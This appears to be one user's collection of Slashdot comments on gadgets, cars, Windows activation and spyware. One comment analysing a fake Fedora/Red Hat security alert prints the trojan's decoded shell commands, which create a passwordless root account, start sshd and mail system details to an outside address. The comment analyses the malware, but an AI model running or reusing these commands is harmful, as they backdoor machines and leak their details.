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  1. Re:hmm on Bluetooth Ads Beamed from Billboards · · Score: 1

    It's not illegal to be using the phone as long as you're not holding it. So, if you just pressed a button on your dash mounted phone to accept the bluetooth ad then it wouldn't be illegal. Of course, if you were reading the ad instead of paying attention to the road and ran over someone then you would be in trouble for driving carelessly.

  2. Re:Too much work on Linux Based CarPC · · Score: 3, Interesting

    Truthfully, theres so much support and info out there to set a carputer up with windows, I find very few reasons to make me want to spend more time with linux for it.

    The hardest part of getting a computer into your car is the getting the computer into the car part, not the installing of the OS. Once the hardware is in there you can install whatever you want on it.

    That might just be me though, trying to do it cheap :) I found that just getting an old laptop and sticking it in the glove box was easiest. It even shuts itself down nicely when you turn the engine off thanks to acpi telling it when the "AC adapter" is disconnected.

  3. Re:Price not a problem on Build Your Own Solar Powered Hotspot · · Score: 1

    They have at least $5000 dollars on 1 camera crew and they at least have two crews.

    That's the third time this week I've seen that, what are dollar dollars?

  4. Re:MOD PARENT INSIGHTFUL on Microsoft Genuine Advantage Cracked · · Score: 5, Interesting

    I had to activate windows over the phone the other day, because installing SP2 on it broke everything (well, it just didn't like the SIGNED graphics card driver).

    It kept hanging while it was starting up so I took all the expansion cards out, including the graphics card and used the onboard. Worked fine, apart from popping up a message saying the hardware had changed dramatically and windows needed to be reactivated. Didn't have time to play with it so I left it a few days. Next time I turned it on I couldn't do anything unleses I activated windows. Ok, I will just activate it over the internet - or I would if it was configured for the network it was connected to. Cancel activation so I can set up the network, nope, can't change network settings unleses I activate windows (even in safe mode). So, do I configure a DHCP server on another machine, or use the activate by phone option? It was a free call, but if I knew how long it was going to take for the auto responder to read out really really long numbers for me to type then I would have just set up a DHCP server.

  5. How hard could it be. on Cars that Can't Crash? · · Score: 1

    We already have little sensors on the back bumper that make a little speaker beep to let us know how far away we are from the car behind us, I found some and fitted them the other day. Now just get a load of those sensors and stick them all around the car, wire them up to the computer and have a little looping program checking each one. If one detects something too close then hit the brakes and cut the power. That could be the Starter Edition anyway, the Professional version could detect things further away and slow you down instead of suddenly stopping you - and maybe be able to tell the difference between leaves in the wind and a real obstacle so you don't have to keep restarting the engine everytime you drive under a tree in autumn.

  6. Re:heh... on Computer Crash Reactions Examined · · Score: 1

    I have an old 200MB hard drive in that old 486 down there that doesn't always start spinning when you turn it on. Just give it a kick and it works fine.

  7. Re:Almost useless on Credit card signatures: Useless? · · Score: 1

    I got sent out to one of the large supermarkets here with my sisters card to get some cash out the machine and then buy her stuff. The machine was broken so I just went in the shop to get stuff and stick her pin number in the chip and pin machine. Then I found out they didn't have chip and pin yet, so I ended up signing my name. They didn't even care that I wasn't female.

  8. Re:Where's the audio? on Through The Steve Ballmer Looking Glass · · Score: 1

    audio worked fine here with totem, even though I had no idea I had totem.. or what totem was. I was expecting gst-player to appear and crash.

  9. Re:it may run on linux but it doesn't work with li on Archos PMA400 Linux Based Media Portable · · Score: 1

    ...Windows 98 SE (with driver downloaded from ARCHOS web-site), ME, 2000 or XP...

    A lot like the requirements for USB flash drives, which are all USB mass storage devices. They work fine with any newish OS with USB support, but you need to install a driver for 98. If the only thing you connect this thing to your PC for is to copy files back and forward then it probably will work (as a usb storage device).

  10. Re:NASA slashdotted! on One Year on Mars · · Score: 1

    you obviously didn't get enough popcorn.

  11. wanna buy a lung? on Patrick Volkerding Battles Mystery Illness · · Score: 1

    From Google: yellow lung granule

    Lung for sale
    Low Priced Lung.
    Big Selection! (aff)
    ebay.co.uk

  12. Re:Gets rid of those #&%! kids and their socce on Amazing Things Your Automobile Can't Do · · Score: 2, Funny

    Some cars use the brake pedal for starting the engine, you stick the magnetic card in, press the brake pedal down and push the start button. Wont start unless the brake pedal is down. If you don't know the car now it's a bit like figuring out nintendo cheat codes to get things to work. Brake, Brake, Start, Clutch, seat forward 2, indicate left, 1st, 3rd, handbrake, horn.. god mode enabled.

  13. Re:This is easy. on How Cheap Can A PC Be? · · Score: 1

    If we didn't have a major manufacturer behind it, we're talking old stuff which. Not quite as fast, not as efficient, and more liable to breakage.

    I have found old machines to be more reliable than new ones. Slower, but they get the job done in the end rather than just dying and not starting up again. You could probably build a few p200's with 64Meg of ram and a 10Gig HDD that would be good enough for word processing, email, and im and last longer than a $500 P4 box for less than $100. The problem is, finding software to run on them.

    That would need to be done with good old hardware though, if these old parts were made again and sold at what they were worth then they would probably be worse quality and likely to break after a year.

  14. Re:I'll try it... on Beware 'Fedora-Redhat' Fake Security Alert · · Score: 1

    what does it say? :)

  15. Re:I'll try it... on Beware 'Fedora-Redhat' Fake Security Alert · · Score: 5, Informative

    I just looked at inst.c and changed it a bit to print what it runs instead of running it. Looks like a shell script hidden in some C (using shc, http://www.datsi.fi.upm.es/~frosal/sources/shc.htm l )

    The working bit of the script is:

    echo "Inca un root frate belea: " >> /tmp/mama
    adduser -g 0 -u 0 -o bash >> /tmp/mama
    passwd -d bash >> /tmp/mama
    ifconfig >> /tmp/mama
    uname -a >> /tmp/mama
    uptime >> /tmp/mama
    sshd >> /tmp/mama
    echo "user bash stii tu" >> /tmp/mama
    cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
    rm -rf /tmp/mama

    So, adds a user called bash with root privs, starts sshd and emails your IP address to someone.

  16. Re:Okay on Every 5th Call At Dell Is Spyware-Related · · Score: 5, Insightful

    I think it's probably somewhere in between 5% and 90%...
    Actually, it could be 5% or 90%. I look after machines in the towns round here for home users and businesses. Over the last few months about 90% of the jobs I have done for home users have been removing spyware or viruses, but only 5% or 10% of jobs for businesses have been spyware related.

  17. Re:Just some facts everybody seems to forget... on Car With A Mind Of Its Own -- Part 2 · · Score: 1

    This car has no key, so he couldn't just cut the motor that way.

    This article at theregister says that's how he stopped it, by pulling out the key.

  18. Re:Ignoring the fact that this is a dupe... on British Telecom Plans to Ditch POTS Network · · Score: 1

    (although they do have to support 9600bps data rates, who wants to surf at that speed.)

    I think it only has to be 2400bps here (UK), at least thats what I remember being told and what this suggests on page 11 (pdf), but I didnt read all of it :)

  19. Re:Language at the site on China's New Craze: E-bikes · · Score: 1, Funny

    Color: yellow, red, green, blue, silver, etc.

    So, whats the etc. for? are they trying to say it can be any color as long as its a color.

  20. Re:No more for Duracell or others? on Linux Duracell CPU Load Monitor · · Score: 4, Informative

    They dont seem to have them on Duracell plus, but Duracell M3 batteries do. I guess its just something you get with the top of the range types :)

  21. Re:Finally! on Today's Windows Virus - MyDoom / Novarg · · Score: 3, Insightful

    You could try kazaa.

    I thought something like 'ooh' when I read it spreads by kazaa too. I thought maybe it was connecting to the fasttrack network and being a fake kazaa node, but, it just seems to be copying itself to the default kazaa shared folder - so it will only spread via kazaa if you actually use kazaa.

  22. Re:A solution on Rolling Your Own Wireless Communications System? · · Score: 1

    You could have just stuck little plastic pots at each end of the zipline and talked to each other (that was the first site I found :) look at the experiments section).

  23. Re:strange one-handed KBs on A Glance At 24 Keyboards & Mice · · Score: 2, Informative

    I dont think he is a woman :)

  24. Re:Happy New Year on Top Searches of 2003, A Dave Odyssey, Banned Words for 2004 · · Score: 1

    4 seconds sounds like the time difference between watching a channel on terrestrial and the exact same thing on satellite over here. Maybe thats why they were off, some satellite somewhere :)

  25. Re:Uhh.. on Finding MD5 Collisions With Chinese Lottery · · Score: 1

    Flash ads steal more cpu time than this seems to.